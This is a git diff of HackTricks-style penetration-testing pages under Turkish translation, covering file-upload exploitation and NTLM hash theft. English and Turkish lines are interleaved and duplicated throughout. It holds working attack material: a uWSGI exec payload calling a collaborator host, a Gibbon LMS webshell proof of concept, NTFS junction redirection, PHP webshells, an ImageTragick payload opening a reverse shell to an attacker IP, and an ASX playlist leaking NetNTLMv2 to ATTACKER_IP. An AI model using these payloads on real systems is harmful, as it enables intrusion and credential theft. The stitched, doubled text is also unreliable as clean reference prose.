Remote Command Execution (RCE) zafiyetleri, birinin `.ini` yapılandırma dosyasını değiştirme yeteneğine sahip olması durumunda uWSGI sunucularında suistimal edilebilir. uWSGI konfigürasyon dosyaları, "magic" değişkenler, placeholder'lar ve operatörler içerebilen özel bir sözdizimi kullanır. Özellikle `@(filename)` şeklinde kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI tarafından desteklenen çeşitli şemalar arasında, bir process'in stdout çıktısını okumaya izin veren "exec" şeması özellikle güçlüdür. Bu özellik, bir `.ini` konfigürasyon dosyası işlendiğinde Remote Command Execution veya Arbitrary File Write/Read gibi kötü amaçlı kullanım senaryolarına yol açabilir.
Aşağıdaki, çeşitli scheme'leri gösteren zararlı bir `uwsgi.ini` dosyası örneğini düşünün:
Aşağıda çeşitli şemaları gösteren zararlı bir `uwsgi.ini` dosyasına örnek verildiğini düşünün:
```ini
[uwsgi]
; read from a symbol
@ -156,22 +156,22 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Payload'un yürütülmesi, konfigürasyon dosyasının ayrıştırılması sırasında gerçekleşir. Konfigürasyonun etkinleşip ayrıştırılması için uWSGI sürecinin ya yeniden başlatılması (muhtemelen bir crash sonrası veya bir Denial of Service saldırısı nedeniyle) ya da dosyanın auto-reload olarak ayarlanması gerekir. Auto-reload özelliği etkinse, değişiklikleri algıladığında dosyayı belirlenen aralıklarla yeniden yükler.
Payload'un yürütülmesi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleşip ayrıştırılması için uWSGI sürecinin ya yeniden başlatılması (muhtemelen bir çökme sonrası veya bir Denial of Service saldırısı nedeniyle) ya da dosyanın otomatik yeniden yükleme (auto-reload) olarak ayarlanması gerekir. Auto-reload özelliği etkinse, değişiklikleri algıladığında dosyayı belirlenen aralıklarla yeniden yükler.
uWSGI'nin konfigürasyon dosyası ayrıştırmasının gevşek doğasını anlamak kritiktir. Özellikle, bahsedilen payload bir binary file'ın içine (ör. image veya PDF) yerleştirilebilir; bu da potansiyel sömürü alanını daha da genişletir.
uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak çok önemlidir. Özellikle, bahsedilen payload bir ikili dosyaya (ör. bir görüntü veya PDF) eklenebilir; bu da potansiyel istismar kapsamını daha da genişletir.
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
### Gibbon LMS: keyfi dosya yazımı ile pre-auth RCE (CVE-2023-45878)
Gibbon LMS'deki unauthenticated endpoint, web root içinde arbitrary file write yapılmasına izin veriyor; bir PHP dosyası bırakılarak pre-auth RCE'ye yol açıyor. Etkilenen sürümler: 25.0.01 dahil olmak üzere öncesi.
Gibbon LMS'deki kimlik doğrulaması gerektirmeyen bir endpoint, web root içinde keyfi dosya yazılmasına izin verir; bu da bir PHP dosyası bırakılarak pre-auth RCE'ye yol açar. Etkilenen sürümler: 25.0.01 dahil olmak üzere ve öncesi.
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
- Method: POST
- Gerekli parametreler:
- `img`: data-URI-like string: `[mime];[name],[base64]` (server ignores type/name, base64-decodes the tail)
- `path`: hedef dosya adı, Gibbon install dir'e göre göreceli (e.g., `poc.php` or `0xdf.php`)
- `gibbonPersonID`: herhangi bir boş olmayan değer kabul edilir (e.g., `0000000001`)
- Required params:
- `img`: data-URI benzeri string: `[mime];[name],[base64]` (sunucu tür/ad bilgisini yok sayar, son kısmı base64 olarak çözer)
- `path`: Gibbon kurulum dizinine göreli hedef dosya adı (örn., `poc.php` veya `0xdf.php`)
- `gibbonPersonID`: herhangi boş olmayan değer kabul edilir (örn., `0000000001`)
Bir dosyayı yazıp geri okumak için minimal PoC:
Minimal PoC to write and read back a file:
```bash
# Prepare test payload
printf '0xdf was here!' | base64
@ -195,16 +195,15 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
```
Notlar:
- İşleyici `base64_decode($_POST["img"])` gerçekleştirir; önce `;` ve `,` ile ayırdıktan sonra uzantı/tipi doğrulamadan byte'ları `$absolutePath . '/' . $_POST['path']`'e yazar.
- Ortaya çıkan kod web servis kullanıcısı olarak çalışır (ör. XAMPP Apache on Windows).
- Handler `;` ve `,` ile ayırdıktan sonra `base64_decode($_POST["img"])` uygular, sonra uzantı/tip doğrulaması yapmadan baytları `$absolutePath . '/' . $_POST['path']`'e yazar.
- Oluşan kod web servis kullanıcısı olarak çalışır (ör. XAMPP Apache üzerinde Windows).
Bu hata için referanslar arasında usd HeroLab advisory ve NVD girdisi bulunur. Aşağıdaki References bölümüne bakın.
Bu hata ile ilgili referanslar arasında usd HeroLab advisory ve NVD kaydı bulunur. Aşağıdaki References bölümüne bakın.
## **wget File Upload/SSRF Trick**
Bazı durumlarda bir sunucunun **`wget`** ile **dosya indirdiğini** ve sizin **URL** belirtebildiğinizi görebilirsiniz. Bu durumlarda kod, indirilen dosyaların uzantısının yalnızca izin verilenlerin indirileceğinden emin olmak için bir whitelist içinde olup olmadığını kontrol ediyor olabilir. Ancak, **bu kontrol atlatılabilir.**\
Bir **dosya adı**nın **linux**'teki **azami** uzunluğu **255**'tir, ancak **wget** dosya adlarını **236** karaktere kadar kısaltır. **"A"*232+".php"+".gif"** adlı bir dosyayı indirebilirsiniz; bu dosya adı **kontrolü atlatacak** (bu örnekte **".gif"** **geçerli** bir uzantıdır) fakat `wget` dosyayı **"A"*232+".php"** olarak **yeniden adlandıracaktır**.
Bazı durumlarda bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve sizin **URL**'yi **belirtebildiğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının izin verilenler listesinin içinde olup olmadığını kontrol ediyor olabilir; böylece yalnızca izin verilen dosyalar indirilecektir. Ancak, **bu kontrol atlatılabilir.**\
**linux**'te bir **filename**'in **maximum** uzunluğu **255**'tir, ancak **wget** dosya isimlerini **236** karaktere kısaltır. Örneğin **"A"*232+".php"+".gif"** adında bir dosya **download** edebilirsiniz; bu dosya adı **check**'i **bypass** eder (bu örnekte **".gif"** **valid** bir uzantıdır), fakat `wget` dosyayı **"A"*232+".php"** olarak **rename** eder.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -227,35 +226,60 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
Note that **başka bir seçenek** aklınıza gelebilir: bu kontrolü atlamak için **HTTP server'ın farklı bir dosyaya redirect etmesini** sağlamak, böylece ilk URL kontrolü atlayacak ve wget daha sonra yönlendirilen dosyayı yeni adıyla indirecektir. Bu **çalışmayacaktır** **medikçe** wget `--trust-server-names` **parametresi** ile kullanılmıyorsa çünkü **wget yönlendirilen sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir**.
## Tools
### Yükleme dizininden kaçış NTFS junctions (Windows) aracılığıyla
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
(Bu saldırı için Windows makinesine lokal erişim gerekecektir) Windows'ta yüklemeler her kullanıcıya ait alt klasörlerde saklandığında (ör. C:\Windows\Tasks\Uploads\<id>\) ve bu alt klasörün oluşturulmasını/silmesini kontrol edebiliyorsanız, onu hassas bir konuma işaret eden bir directory junction ile değiştirebilirsiniz (ör. webroot). Sonraki yüklemeler hedef yola yazılacak; hedef serverside code'u yorumluyorsa kod yürütülmesine olanak tanıyacaktır.
### Corrupting upload indices with snprintf quirks (historical)
Example flow to redirect uploads into XAMPP webroot:
```cmd
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
## From File upload to other vulnerabilities
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
```
Notlar
- `mklink /J` bir NTFS dizin junction (reparse point) oluşturur. Web sunucusunun hesabı junction'u takip etmeli ve hedefte yazma iznine sahip olmalıdır.
- Bu, keyfi dosya yazımlarını yönlendirir; hedef scriptleri (PHP/ASP) çalıştırıyorsa bu RCE'ye dönüşür.
- Savunmalar: yazılabilir upload root'ların C:\Windows\Tasks altında veya benzeri yerlerde saldırgan tarafından kontrol edilebilecek şekilde olmasına izin vermeyin; junction creation'ı engelleyin; uzantıları server-side doğrulayın; yüklemeleri ayrı bir volume'da veya deny-execute ACL'lerle saklayın.
## Araçlar
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) Pentesters ve Bug Hunters'ın file upload mekanizmalarını test etmesine yardımcı olmak için tasarlanmış güçlü bir araçtır. Çeşitli bug bounty tekniklerini kullanarak zafiyetleri tespit etme ve exploit etme sürecini kolaylaştırır, web uygulamalarının kapsamlı değerlendirmesini sağlar.
### snprintf tuhaflıklarıyla upload indekslerini bozmak (tarihsel)
Tek dosya upload'ından multi-file array'leri oluşturmak için `snprintf()` veya benzeri bir şey kullanan bazı eski upload handler'lar `_FILES` yapısını sahte olarak oluşturmak üzere kandırılabilir. `snprintf()` davranışındaki tutarsızlıklar ve truncation nedeniyle, dikkatlice hazırlanmış tek bir upload sunucu tarafında birden fazla indeksli dosya gibi görünebilir ve katı bir şekil varsayan mantığı (ör. multi-file upload olarak muamele edip güvensiz dallara gitme) şaşırtabilir. Bugün nadir olsa da, bu “index corruption” deseni ara sıra CTF'lerde ve eski kod tabanlarında yeniden ortaya çıkar.
## Dosya yüklemeden diğer zafiyetlere
- **filename**'i `../../../tmp/lol.png` olarak ayarlayın ve bir **path traversal** gerçekleştirmeyi deneyin
- **filename**'i `sleep(10)-- -.jpg` olarak ayarlayın ve bir **SQL injection** elde edebilirsiniz
- **filename**'i `<svg onload=alert(document.domain)>` olarak ayarlayın ve XSS elde edin
- **filename**'i `; sleep 10;` olarak ayarlayın ve bazı command injection'ları test edin (daha fazla [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- Farklı **svg payload**'larını deneyin: [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Ünlü **ImageTrick** zafiyeti](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Eğer web sunucusuna bir URL'den image çekmesini söyleyebiliyorsanız, bir [SSRF](../ssrf-server-side-request-forgery/index.html) suistimal etmeyi deneyebilirsiniz. Bu **image** bir **public** sitede **kaydedilecekse**, ayrıca [https://iplogger.org/invisible/](https://iplogger.org/invisible/) gibi bir URL belirleyip **her ziyaretçinin** bilgilerini **çalabilirsiniz**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirüs**
- Check if there is any **size limit** uploading files
- XSS için özel hazırlanmış PDF'ler: [aşağıdaki sayfa PDF verisi enjekte edip JS çalıştırmayı nasıl elde edeceğinizi gösterir](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebiliyorsanız, verilen yönergeleri takip ederek rastgele JS çalıştıracak bir PDF hazırlayabilirsiniz.
- Sunucuda herhangi bir **antivirus** olup olmadığını kontrol etmek için \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyin
- Dosya yüklerken herhangi bir **boyut limiti** olup olmadığını kontrol edin
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
İşte yükleyerek başarabileceğiniz şeylerin bir top 10 listesi (kaynak: [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -275,37 +299,37 @@ Heres a top 10 list of things that you can achieve by uploading (from [here](
https://github.com/portswigger/upload-scanner
{{#endref}}
## Magic Header Bytes
## Magic Header Baytları
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
Diğer dosya tipleri için bakınız: [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures).
## Zip/Tar Dosyasının Sunucuda Otomatik Olarak Açılması
## Zip/Tar dosyası sunucuda otomatik olarak açılan yüklemeler
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
Eğer sunucuda açılacak bir ZIP yükleyebiliyorsanız, 2 şey yapabilirsiniz:
### Symlink
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
Diğer dosyalara soft linkler içeren bir link yükleyin; sonra açılmış dosyalara eriştiğinizde bağlı dosyalara erişirsiniz:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Farklı klasörlere çıkarma
### Farklı klasörlere açma
Arşiv açma sırasında dizinlerde beklenmeyen dosyaların oluşturulması önemli bir sorundur. Başlangıçta bu yapılandırmanın kötü amaçlı file uploads yoluyla OS-level command execution'a karşı koruma sağlayabileceği varsayılsa da, ZIP archive formatının hiyerarşik sıkıştırma desteği ve directory traversal yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları atlatmasına ve hedef uygulamanın decompression işlevini manipüle ederek güvenli upload dizinlerinden kaçmasına izin verir.
Arşiv açma sırasında dizinlerde dosyaların beklenmedik şekilde oluşturulması ciddi bir sorundur. İlk başta bu yapılandırmanın kötü amaçlı dosya yüklemeleriyle işletim sistemi düzeyinde komut çalıştırmayı engellediği varsayılsa da, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve directory traversal yetenekleri kötüye kullanılabilir. Bu, saldırganların kısıtlamaları atlayıp güvenli upload dizinlerinden kaçmasına olanak tanır; hedef uygulamanın açma işlevini manipüle ederek.
Böyle dosyalar oluşturmak için otomatik bir exploit [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) üzerinde mevcuttur. Araç şu şekilde kullanılabilir:
Bu tür dosyaları oluşturmak için otomatikleştirilmiş bir exploit [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) adresinde mevcuttur. Araç şu şekilde kullanılabilir:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Ek olarak, **symlink trick with evilarc** bir seçenektir. Hedef `/flag.txt` gibi bir dosya olduğunda, sisteminizde o dosyaya bir symlink oluşturulmalıdır. Bu, evilarc'ın işleyişi sırasında hata almasını engeller.
Buna ek olarak, **symlink trick with evilarc** bir seçenektir. Hedefiniz `/flag.txt` gibi bir dosya ise, sisteminizde o dosyaya bir symlink oluşturulmalıdır. Bu, evilarc'ın çalışması sırasında hata ile karşılaşmamasını sağlar.
Aşağıda kötü amaçlı bir zip dosyası oluşturmak için kullanılan Python koduna bir örnek verilmiştir:
```python
@ -328,9 +352,9 @@ create_zip()
```
**Abusing compression for file spraying**
Daha fazla bilgi için **orijinal gönderiyi inceleyin**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Daha fazla detay için **orijinal gönderiye bakın**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creating a PHP Shell**: PHP kodu, `$_REQUEST` değişkeniyle iletilen komutları çalıştıracak şekilde yazılmıştır.
1. **Creating a PHP Shell**: PHP kodu, `$_REQUEST` değişkeni aracılığıyla gönderilen komutları çalıştıracak şekilde yazılır.
```php
<?php
@ -340,14 +364,14 @@ system($cmd);
}?>
```
2. **File Spraying and Compressed File Creation**: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi oluşturulur.
2. **File Spraying and Compressed File Creation**: Birden çok dosya oluşturulur ve bu dosyaları içeren bir zip arşivi oluşturulur.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification with a Hex Editor or vi**: Zip içindeki dosya adları, vi veya bir hex editör kullanılarak değiştirilir; "xxA" dizin atlaması yapmak için "../" ile değiştirilir.
3. **Modification with a Hex Editor or vi**: Zip içindeki dosya isimleri vi veya bir hex editör kullanılarak değiştirilir; "xxA" üst dizine çıkmak için "../" ile değiştirilir.
```bash
:set modifiable
@ -357,40 +381,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Bu içeriği bir image uzantısıyla yükleyerek açığı exploit edin **(ImageMagick , 7.0.1-1)** (exploit için: [https://www.exploit-db.com/exploits/39767])
Bu içeriği bir resim uzantısıyla yükleyerek güvenlik açığından yararlanabilirsiniz **(ImageMagick , 7.0.1-1)** (exploit: [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Embedding PHP Shell on PNG
## PHP Shell'i PNG içine gömme
PNG dosyasının IDAT chunk'ına bir PHP shell gömmek, belirli resim işleme operasyonlarını etkili bir şekilde atlatabilir. PHP-GD'nin `imagecopyresized` ve `imagecopyresampled` fonksiyonları bu bağlamda özellikle önemlidir; bunlar sırasıyla görüntüleri yeniden boyutlandırmak ve yeniden örneklemek için yaygın olarak kullanılır. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilmesi, bazı kullanım senaryoları için önemli bir avantaj sağlar.
Bir PNG dosyasının IDAT chunk'ına bir PHP shell gömmek, belirli görüntü işleme işlemlerini etkili şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` işlevleri bu bağlamda özellikle önemlidir; sırasıyla görüntüleri yeniden boyutlandırmak ve yeniden örneklemek için yaygın olarak kullanılırlar. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilmesi, bazı kullanım durumları için önemli bir avantajdır.
Bu tekniğin metodolojisi ve potansiyel uygulamalarını içeren ayrıntılı bir inceleme aşağıdaki makalede bulunabilir: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak süreç ve etkileri hakkında kapsamlı bir anlayış sunar.
Bu tekniğin metodolojisi ve olası uygulamalarını içeren ayrıntılı bir inceleme şu makalede yer almaktadır: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak süreç ve sonuçları hakkında kapsamlı bir anlayış sunar.
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files
## Polyglot Dosyalar
Polyglot dosyalar siber güvenlikte benzersiz bir araç olarak hizmet eder; aynı anda birden fazla dosya formatında geçerli şekilde bulunabilen kamuflajlar gibidirler. İlginç bir örnek [GIFAR](https://en.wikipedia.org/wiki/Gifar), hem GIF hem de RAR arşivi olarak işlev gören bir hibrittir. Bu tür dosyalar bu eşleşmeyle sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
Polyglot dosyalar siber güvenlikte benzersiz bir araç görevi görür; aynı anda birden fazla dosya formatında geçerli şekilde var olabilen bukalemona benzerler. İlgi çekici bir örnek [GIFAR](https://en.wikipedia.org/wiki/Gifar), hem GIF hem de RAR arşivi olarak işlev gören hibrittir. Bu tür dosyalar yalnızca bu eşleşmeyle sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkün.
Polyglot dosyaların temel faydası, dosya türüne göre tarama yapan güvenlik önlemlerini atlatma yetenekleridir. Birçok uygulamada yalnızca JPEG, GIF veya DOC gibi belirli dosya türlerinin yüklenmesine izin verilerek potansiyel olarak zararlı formatların (ör. JS, PHP veya Phar dosyaları) riski azaltılmaya çalışılır. Ancak bir polyglot, birden fazla dosya türünün yapısal kriterlerine uyduğu için bu kısıtlamaları gizlice aşabilir.
Polyglot dosyaların temel faydası, dosyaları tipe göre tarayan güvenlik önlemlerini aşabilme yetenekleridir. Çeşitli uygulamalarda yaygın uygulama, potansiyel olarak zararlı formatların (ör. JS, PHP veya Phar dosyaları) oluşturduğu riski azaltmak için yalnızca JPEG, GIF veya DOC gibi belirli dosya türlerine izin vermektir. Ancak bir polyglot, birden fazla dosya türünün yapısal kriterlerine uyarak bu kısıtlamaları gizlice atlatabilir.
Uyarlanabilir olmalarına rağmen polyglot'ların sınırlamaları vardır. Örneğin bir polyglot aynı anda bir PHAR file (PHp ARchive) ve bir JPEG olabilir, ancak yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem izin verilen uzantılarda katıysa, polyglot'un yapısal ikiliği yüklenmesini garanti etmeyebilir.
Uyarlanabilirliklerine rağmen polyglotlar sınırlamalarla karşılaşır. Örneğin, bir polyglot aynı anda PHAR dosyası (PHp ARchive) ve JPEG'i temsil ediyor olsa bile, yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem izin verilen uzantılar konusunda katıysa, bir polyglotun yalnızca yapısal ikiliği yüklemenin garantisi olmayabilir.
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Geçerli JSON'ları sanki PDF imiş gibi yükleme
### Upload valid JSONs like if it was PDF
Bir PDF dosyası taklidi yaparak, izin verilmemiş olsa bile geçerli bir JSON dosyası yükleyerek dosya türü tespitlerinden nasıl kaçınılacağı (teknikler **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**'ten alınmıştır):
How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: İlk 1024 bayt içinde `%PDF` magic baytları olduğu sürece geçerlidir (örneği gönderiden alın)
- **`pdflib` library**: JSON içindeki bir alana sahte bir PDF formatı ekleyin, böylece kütüphane bunun bir pdf olduğunu düşünsün (örneği gönderiden alın)
- **`file` binary**: Bir dosyadan 1048576 bayta kadar okuyabilir. Bu yüzden içeriği bir json olarak analiz edememesi için bu boyuttan daha büyük bir JSON oluşturun ve sonra JSON içine gerçek bir PDF'in başlangıç kısmını koyun; kütüphane bunun bir PDF olduğunu düşünecektir
- **`mmmagic` library**: As long as the `%PDF` magic bytes are in the first 1024 bytes its valid (get example from post)
- **`pdflib` library**: Add a fake PDF format inside a filed of the JSON so the library thinks its a pdf (get example from post)
- **`file` binary**: It can read up to 1048576 bytes from a file. Just create a JSON bigger than that so it cannot parse the content as a json and then inside the JSON put the initial part of a real PDF and itll think its a PDF
## Referanslar
## References
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -406,5 +428,7 @@ How to avoid file type detections by uploading a valid JSON file even if not all
- [CVE-2024-21546 NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
- [0xdf HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
- [Microsoft mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,7 +1,66 @@
# NTLM kimlik bilgilerini çalmak için yerler
# NTLM creds çalmak için yerler
{{#include ../../banners/hacktricks-training.md}}
**Microsoft Word dosyasının çevrimiçi indirilmesinden NTLM sızıntı kaynaklarına kadar [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) adresinden harika fikirleri kontrol edin: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md ve [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
**Bu harika fikirleri inceleyin: [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) — çevrimiçi bir microsoft word dosyasının indirilmesinden ntlm leak kaynağına: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md ve [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
### Windows Media Player oynatma listeleri (.ASX/.WAX)
Eğer hedefin sizin kontrolünüzdeki bir Windows Media Player oynatma listesini açmasını veya önizlemesini sağlayabilirseniz, girdiyi bir UNC yoluna yönlendirerek NetNTLMv2 leak edebilirsiniz. WMP, referans verilen medyayı SMB üzerinden almaya çalışacak ve otomatik olarak kimlik doğrulaması yapacaktır.
Örnek payload:
```xml
<asx version="3.0">
<title>Leak</title>
<entry>
<title></title>
<ref href="file://ATTACKER_IP\\share\\track.mp3" />
</entry>
</asx>
```
Toplama ve kırma akışı:
```bash
# Capture the authentication
sudo Responder -I <iface>
# Crack the captured NetNTLMv2
hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
```
### ZIP içindeki .library-ms NTLM leak (CVE-2025-24071/24055)
Windows Explorer, .library-ms dosyalarını ZIP arşivi içinden doğrudan açıldığında güvensiz şekilde işler. Kütüphane tanımı uzak bir UNC yoluna işaret ediyorsa (ör. \\attacker\share), ZIP içindeki .library-ms dosyasına göz atmak veya başlatmak Explorer'ın UNC'yi keşfetmesine ve saldırgana NTLM kimlik doğrulaması göndermesine neden olur. Bu, offline kırılabilecek veya potansiyel olarak relayed edilebilecek bir NetNTLMv2 sağlar.
Saldırgan UNC'sine işaret eden minimal .library-ms
```xml
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<version>6</version>
<name>Company Documents</name>
